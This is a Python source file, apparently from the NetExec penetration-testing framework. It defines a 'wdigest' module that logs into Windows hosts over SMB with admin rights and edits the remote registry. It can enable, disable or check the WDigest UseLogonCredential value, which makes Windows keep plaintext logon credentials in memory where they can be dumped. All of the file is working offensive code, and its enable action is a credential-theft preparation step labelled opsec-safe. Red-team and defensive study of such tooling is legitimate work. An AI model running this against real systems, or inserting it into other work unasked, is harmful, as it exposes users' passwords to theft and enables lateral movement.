NetExec/nxc/modules/wdigest.py

145 lines
5.2 KiB
Python

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.dcerpc.v5 import rrp
from impacket.examples.secretsdump import RemoteOperations
from sys import exit
class NXCModule:
name = "wdigest"
description = "Creates/Deletes the 'UseLogonCredential' registry key enabling WDigest cred dumping on Windows >= 8.1"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def options(self, context, module_options):
"""
ACTION Create/Delete the registry key (choices: enable, disable, check)
"""
if "ACTION" not in module_options:
context.log.fail("ACTION option not specified!")
exit(1)
if module_options["ACTION"].lower() not in ["enable", "disable", "check"]:
context.log.fail("Invalid value for ACTION option!")
exit(1)
self.action = module_options["ACTION"].lower()
def on_admin_login(self, context, connection):
if self.action == "enable":
self.wdigest_enable(context, connection.conn)
elif self.action == "disable":
self.wdigest_disable(context, connection.conn)
elif self.action == "check":
self.wdigest_check(context, connection.conn)
def wdigest_enable(self, context, smbconnection):
remote_ops = RemoteOperations(smbconnection, False)
remote_ops.enableRegistry()
if remote_ops._RemoteOperations__rrp:
ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
reg_handle = ans["phKey"]
ans = rrp.hBaseRegOpenKey(
remote_ops._RemoteOperations__rrp,
reg_handle,
"SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest",
)
key_handle = ans["phkResult"]
rrp.hBaseRegSetValue(
remote_ops._RemoteOperations__rrp,
key_handle,
"UseLogonCredential\x00",
rrp.REG_DWORD,
1,
)
rtype, data = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, "UseLogonCredential\x00")
if int(data) == 1:
context.log.success("UseLogonCredential registry key created successfully")
try:
remote_ops.finish()
except Exception:
pass
def wdigest_disable(self, context, smbconnection):
remote_ops = RemoteOperations(smbconnection, False)
remote_ops.enableRegistry()
if remote_ops._RemoteOperations__rrp:
ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
reg_handle = ans["phKey"]
ans = rrp.hBaseRegOpenKey(
remote_ops._RemoteOperations__rrp,
reg_handle,
"SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest",
)
keyHandle = ans["phkResult"]
try:
rrp.hBaseRegDeleteValue(
remote_ops._RemoteOperations__rrp,
keyHandle,
"UseLogonCredential\x00",
)
except Exception:
context.log.success("UseLogonCredential registry key not present")
try:
remote_ops.finish()
except Exception:
pass
return
try:
# Check to make sure the reg key is actually deleted
rtype, data = rrp.hBaseRegQueryValue(
remote_ops._RemoteOperations__rrp,
keyHandle,
"UseLogonCredential\x00",
)
except DCERPCException:
context.log.success("UseLogonCredential registry key deleted successfully")
try:
remote_ops.finish()
except Exception:
pass
def wdigest_check(self, context, smbconnection):
remote_ops = RemoteOperations(smbconnection, False)
remote_ops.enableRegistry()
if remote_ops._RemoteOperations__rrp:
ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
reg_handle = ans["phKey"]
ans = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, "SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest")
key_handle = ans["phkResult"]
try:
rtype, data = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, "UseLogonCredential\x00")
if int(data) == 1:
context.log.success("UseLogonCredential registry key is enabled")
else:
context.log.fail(f"Unexpected registry value for UseLogonCredential: {data}")
except DCERPCException as d:
if "winreg.HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest" in str(d):
context.log.fail("UseLogonCredential registry key is disabled (registry key not found)")
else:
context.log.fail("UseLogonCredential registry key not present")
try:
remote_ops.finish()
except Exception:
pass